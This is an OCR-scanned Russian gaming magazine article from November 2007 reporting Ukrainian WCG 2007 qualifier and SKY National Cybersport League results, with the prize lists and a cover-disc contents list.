комментаторы помогали зри- телям разобраться в проис- ходящем. Starcraft: BroodWar Strelok, MYM]Whire-Ra и fake.fraer уже в первом туре разгромили соперников. Ли- деры дали понять, что только они будут бороться за единс- твенную квоту на финал. Во втором туре молодой fake.fraer столкнулся с MYM]Whire-Ra и сделал то, что не смог сделать в прошлом году. Скептики снова заговорили,что Ра в этом году не видать поездки в Сиэтл, но... в финале все были неожиданно шокирова- ны. Фраер уступил стрелку, которого так легко обыграл в группах. Он отправился в сетку лузеров, где повторно встретился с MYM]Whire-Ra. Наверное, молодость и от- сутствие опыта сыграли злую шутку, но симферополец проиграл и одесситу. Вот, как бывает, в ходе турнира обы- грываешь двух сильнейших соперников, а потом проигры- ваешь обеим и занимаешь лишь третье место. В суперфинале встрети- лись MYM]Whire-Ra и Strelok. Несмотря на то, что послед- ний был готов к финалу как никогда раньше, в этом году он снова оказался в шаге от заветной квоты. MYM]Whire- Ra и на этот раз подтвердил, что в Украине он лучший, и уверенно переиграл своего оппонента. Warcraft III Чемпион со стажем, кибер- спортивная звезда мирового 10и - Ноябрь 2007
масштаба, SK.HoT.C-club в очередной раз доказал свою непобедимость на Родине, предоставив соперникам воз- можность бороться только за второе место. Борьба заверши- лась победой игрока raC.Sonik из Краматорска. FIFA 07 По слухам, которые активно тиражировались во время финала, судьба квот была решена игроками еще до игр. Дело в том, что во второй тур чемпионата попали только игроки сборной Украины по виртуальному футболу. Как утверждают многие, игры вто- рого дня были скорее трени- ровкой, чем серьезной игрой. Вопрос же квот решался на совете игроков, за пределами игровой зоны. Counter-Strike Самая популярная в мире игра и в нашей стране собрала массу поклонников. Второй игровой день начался с оче- редной сенсации - WCG к это- му не привыкать. Киевская команда eXplosive в упорнейшей борьбе проиг- рала второй команде Донец- ка. Такого не ожидал никто. Впрочем, дальше события развивались по обычному для большинства украинских турниров сценарию. В финале сошлись лучшие, титулован- ные команды: A-Gaming из Киева и pro 100 из Харькова. турнира, интересные игры, небольшая церемония закры- тия, которая запомнится всем (и игрокам, и болельщикам), дух единства турнира — все это было в 2007 году и хочется верить, что будет и в после- дующие годы. Когда выйдет этот номер журнала, финал WCG 2007 со- стоится в Сиэтле, и уже будет известно, как выступила укра- инская сбор- , ная на тур- нире. Но об I этом, а также о впечатле- ниях наших чемпионов - мы напишем в следующем номере. А сей час позволь- те огласить полный список по бедителей WCG 2007 в Украине. В прошлом году, когда шансы команд оценивались примерно 50/50, победу одер- жали харьковчане. В этом же, команда, ослабленная уходом двух ключевых игроков, оказа- лась не в лучшем положении. В то же время киевляне ак- тивно тренируются в игровом интернет-центре C-club и имеют возможность играть с лучшими командами Европы, чего не могут себе позволить харьковчане... Все звезды гово- рили, что на этот раз у pro 100 нет никаких шансов, но... Первая игра перевернула все с ног на голову. Харьков делает ставку на атаку, но киевляне очень уверенно отыгрывают оборону и смена сторон происходит в пользу A-Gaming со счетом 4:11. Что произошло потом, трудно сказать. Харьковчане побеждают со счетом 16:11. Зал ликует, не веря своим глазам. Вторая карта de_dust2. И на этой карте киевляне громят своих соперников. Небольшой прорыв и 1S1“ кажется, что у ргоЮО опу- стились руки. Команда не. может сосредоточиться, а третья карта больше напоминает доигрывание, когда игроки уже смирились с поражением. 16:5 - в пользу A-Gaming, и они становятся чемпионами 2007 года. И все-таки финал WCG 2007 удался. Отличная организация + поездка в Сиэтл на финал WCG. 2 место: ргоЮО — 5 мобильных телефонов Samsung Е590. 3 место: MoralezZ — 5 мрЗ- плееров Samsung КЗ. FIFA 07: 1 место: NoA|Mika — ноут- бук Samsung R20 + поездка в Сиэтл на финал WCG. 2 место: Shpil-mN.Chudlk. C-Club — мобильный телефон Samsung Е590 + поездка в Си- этл на финал WCG. 3 место: digintas.Walkman.C- Club — мрЗ-плеер Samsung КЗ. В связи с тем, что игрок, занявший второе место, не успел вовремя оформить за- граничный паспорт, вместо него на финал WCG поедет digintas.Walkman.C-Club — чемпион прошлого года, в этом году на отборочных со- ревнованиях занявший третье место. WarCraft III: 1 место: SK.HoT.C-Club — ноутбук Samsung R20 + поезд- ка в Сиэтл на финал WCG. 2 место: raC.Sonik — Мо- бильный телефон Samsung Counter-Strike. 1 место: A-Gaming — 5 ноутбуков Samsung R20 Ноябрь 2007 GAMER 109
CyberSport мрЗ-плеер 3 место: Ghost — Samsung КЗ. StarCraft: 1 место: MYM]Whire-Ra — ноутбук Samsung R20 + поезд- ка в Сиэтл на финал WCG. 2 место: Strelok — мобиль- ный телефон Samsung Е590. 3 место: fake.fraer — мрЗ- плеер Samsung КЗ. SKY National Cebersport League Несмотря на то, что в тече- ние года в Украине проходит масса различных турниров по Counter-Strike, только некото- рые из них можно выделить. И о таком турнире мы расскажем. На самом деле, это даже не тур- нир. Это единственная в своем роде лига, которая проходит в крупнейших городах Украи- ны и столице Молдовы. Истоки NCL исходят от популярной лиги по Counter- Strike, известной на просторах страны как Kiev Cybersport League. Спустя несколько лет после появления на свет Ки- евская Киберспортивная Лига переросла уровень города и вырвалась за его пределы, образовав новый виток в раз- витии отечественного кибер- спорта. Первый сезон NCL охватил семь крупнейших городов Украины и столицу Мол- довы. На протяжении трех месяцев в Киеве, Харькове, Донецке, Днепропетровске, Симферополе, Одессе, Львове и Кишиневе проходили регио- нальные отборочные туры, в которых приняли участие 750 киберспортсменов (150 команд), причем, не только из городов- миллионников, но и из близлежащих райо- нов. Лучшие в своем ре- гионе команды получили кво- ты и оплаченный проезд на финал в Киев. Именно здесь были разыграны главные при- зы, любезно предоставленные главным спонсором, компа- нией Skymoto (www.skymoto. com.ua). Торговая марка Skymoto представляет продукцию QINGQI в Украине. Мото- техника этой фирмы отли- чается хорошим качеством, доступной ценой. QINGQI производит мототехнику по лицензии и технологиям та- ких известных японских ком- паний, как SUZUKI, HONDA, YAMAHA, MIKUNI. Сегодня компания Jinan QINGQI Motorcycles Co. Ltd. является одним из крупнейших пред- приятий по производству мототехники во всем мире. Наверное, наши читатели уже догадались, что победителям в качестве призов достались... конечно же, мотороллеры! Те- перь у ребят есть собственный транспорт, который намного удобнее машин и маршруток, если учитывать то, какие огромные «пробки» наблю- даются в столице в последнее время. Впрочем, я забежал намного вперед. Вернемся все- таки к финалу лиги. Финальный турнир SKY NCL состоялся в Samsung C:\Club\Livoberezhna — офи- циальном игровом интер- нет-центре WCG. На турнир приехали практически все сильнейшие команды Ук- раины, а также целый ряд команд, которые прошли региональные отборочные туры. Всего собралось 25 ко- манд: mDucks (Киев), CoCS (Киев), Ы (Киев), DD (Киев), pro 100 (Харьков), explosive (Киев), A-Gaming (Киев), CSG (Кишинев, Молдова), Forsaken (Кишинев, Молдова), Samurai (Кишинев, Молдова), GSH (Донецк), state21 (Харьковт Днепропетровск), xb (До- нецк), BF (Донецк), inMovezz (Киев), сРго-1 (Симферополь), spray’npray (Киев), HJ Force (Львов), energy (Кременчуг), beFirst (Киев), WAR (Одесса), jec BitterNet (Тернополь), x-Ray (Одесса), Ninja (Черни- гов), NumbazZ.airbites (Львов). Вот такая обширная геогра- фия получилась. Систему проведения фина- ла организаторы выбрали, что ни на есть, самую серьезную. Сначала командам предсто- яло пройти два групповых этапа, после которых должны остаться восемь самых силь- ных команд. По олимпийской системе play-off проходил до двух побед, то есть, проиг- рывая карту, команда имела шанс взять две остальные. Но, проиграв вторую карту, про- игрывала весь матч и покида- ла турнирную сетку. Такая же система общепринята на всех крупнейших мировых турни- рах. Она была использована и на украинском финале WCG. ТОР-4 Украины были отсеяны и не встретились в первом групповом туре. На этом этапе обошлось без особых неожиданностей, но самое интересное нас ожидало дальше! Во втором групповом этапе сформировались силь- ные группы, в соревнованиях появилась интрига, и за игра- ми стало намного интереснее наблюдать. В группе А киевлянам из eXplosive, играющим в родных стенах, противостояли силь- нейшая команда из Одессы и крепкие парни из Молдовы. Впрочем, игры показали, что Экспы на голову сильнее всех, настолько уверенно они обыг- рывали оппонентов, включая одесситов. Последние тоже отстояли свой статус топовой 110 GAMER Ноя
команды, получив второе место. В группе В две топовые команды из западного реги- она противостояли ТОР-4 рейтинга Украины, по версии портала www.gameinside.ua. команде xb. Попытку вме- шаться в борьбу за выход из группы предприняла молодая киевская команда spra’npray. Впрочем, их попытка оказа- лась безуспешной, в отличие NumbazZ.airbites. Лучшая львовская команда взяла ре- ванш после WCG, разгромив команду из Донбасса и, по- лучив первое место, вышла в play-off. В группе С два лидера, киевская команда DD и чем- пионы WCG 2007 — команда A-Gaming — не оставили кон- курентам никаких шансов. В группу D попало сразу две команды из Молдовы, однако харьковчане из pro 100 оказа- лись им не «по зубам» и пар- ням ничего не оставалось, как разыграть между собой второе проходное место в группе. Игры play-off проходили в тот же день. Система Single Elimination не давала права на ошибку, и потому каждый матч был как последний. В первом туре сингла события развивались таким образом: explosive встретились с силь- нейшей командой Молдовы и не дали гостям пройти дальше по турнирной сетке. Все-таки огромный опыт киевлян взял свое. Пара NumbazZ.airbites -vs- DD предполагала ин- тригу, но она не состоялась. Уж очень подготовленными приехали парни из Львова. В итоге, победа 2:0 по картам и NumbazZ вышла в полуфинал турнира. Лучшая команда Киева про- тив лучшей команды Донецка. Интересное противостояние закончилось закономерно. И если на первой карте xb оказа- ли достойное сопротивление, проиграв с минимальной раз- ницей, то на второй A-Gaming уничтожили своих соперни- ков, отдав лишь два раунда за карту. В последней паре одесситы едва не преподнесли сюрприз, выиграв первую кар- ту у самих pro 100, впрочем, опытных игроков это не уди- вило. У одесситов Dust2 очень сильная карта, что и показали результаты остальных игр. На следующих этапах pro 100 уверенно взяли путевку в по- луфинал. Полуфиналы получились не очень захватывающими. Две лидирующие киевские коман- ды показали очень высокий уровень игры, о чем говорит турнирная таблица матчей: eXplosive [2:0] NumbazZ. airbites. eXplosive [16:13] NumbazZ. airbites @ de_train. eXplosive [16:08] NumbazZ. airbites @ de_nuke. A-Gaming [2:0] prolOO. A-Gaming [16:10] prolOO @ de_train. A-Gaming [16:7] prolOO @ de_inferno. В финале eXplosive попы- тались взять штурмом чемпи- онов WCG и на первой карте. Это им почти удалось, но... с минимальным разрывом A-Gaming победили. Взять победу на второй карте было уже делом техники. Результа- ты финала и матча за третье место: eXplosive [0:2] A-Gaming. eXplosive [14-16] A-Gaming @ de_train. eXplosive [7-16] A-Gaming @ de_inferno. NumbazZ.airbites [0:2] prolOO. NumbazZ.airbites [10:16] prolOO @ de_inferno. NumbazZ.airbites [5:16] prolOO @ de_train. Итоговое распределение мест выглядит следующим образом: 1 место: A-Gaming — 5 мо- тороллеров от компании SKY Moto + диплом победителя. 2 место: eXplosive — 1000 гривен от игрового интер- нет центра Samsung C-club + сертификат на 1000 гривен игрового времени в клубе + диплом победителя. 3 место: pro 100 — антиви- русные программы bitdefender + диплом победителя. 4 место: NumbazZ.airbites. Вот и закончился первый се- зон National Cybersport League. Но не за горами уже второй сезон лиги с еще большими призами, более широкой географией и более высоким уровнем организации. В пла- нах сети игровых интернет- центров C-club, которые организовывают это событие, расширение лиги на Россию и Болоруссию. Возможно, этим планам суждено осуществить- ся уже совсем скоро! Узнать более подробную информацио о лиге, а также скачать демки лучших игр, можно на официальном сайте лиги Там же вскоре появится информация о новом сезоне, спонсорах, при- зах и условиях регистрации. В свою очередь, мы постараемся информировать вас, наши до- рогие читатели, о всех новостях National Cybersport League. Так что, оставайтесь на связи! ГЕННАДИЙ ВЕСЕЛКОВ Ноябрь 2007 GAMER ш
EQGAMER НА ДИСКЕ Демо (10) Ghost Recon Advanced Warfighter 2 Birth of America Civilization 4: Beyond the Sword Dead Reefs Global Conflicts: Palestine Gods - Lands of Infinity Loki Pro Cycling Manager 2007 Ratatouille War Wound Моды (3) Half-Life 2 - Insurgency Beta 1 Day of Defeat: Source Maps (6) Oblivion Collection Патчи (11) Command & Conquer 3 1.06 Civilization 4 1.74 Civilization 4 Beyond the Sword 3.02 Civilization 4 Warlords 2.13 Colin McRae DiRt 12 GRAW2 1.00- 1.02 GRAW2 1.01 - 1.02 Overlord 1.1 Pacific Storm 1.5 Space Empires 5 1.44 Test Drive Unlimited 1.66A Читы (7) TCompany of Heroes Cheats Medieval 2 Total War Cheats Need For Speed: Carbon Trainer Warhammer: Mark of Chaos Trainer C&C3 Demo Trainer The Sims 2 Seasons Trainer S.T.A.L.K.E.R. Trainer Motherboard Monitor nVidia Drivers QTracker Radeon Drivers RegCleaner 4.3 Seismovision Skype Видео( ) Stranglehold Age of Conan - Frost Swamp Blacksite Утилиты (18) NOD32 v.2.7 Trial RUS ESET Smart Security RC1 ESET NOD32 Antivirus RC1 All-Seeing Eye Audacity 1.2.4b AVG 7.5 Free Edition Bench 'Em All Dr. Web 4.44 DemoFreak DOS Box 0.63 GameShadow Brothers in Arms 3 Call of Duty 4: Modern Warfare Empire Earth 3 Intro Gears of War Guild Wars: Eye of the North Hard To Be A God Kane & Lynch: Dead Men Supreme Commander: Forged Alliance The Settlers Turning Point: Fall of Liberty Universe At War Unreal Tournament 3 8.5 Gb разных вкусностей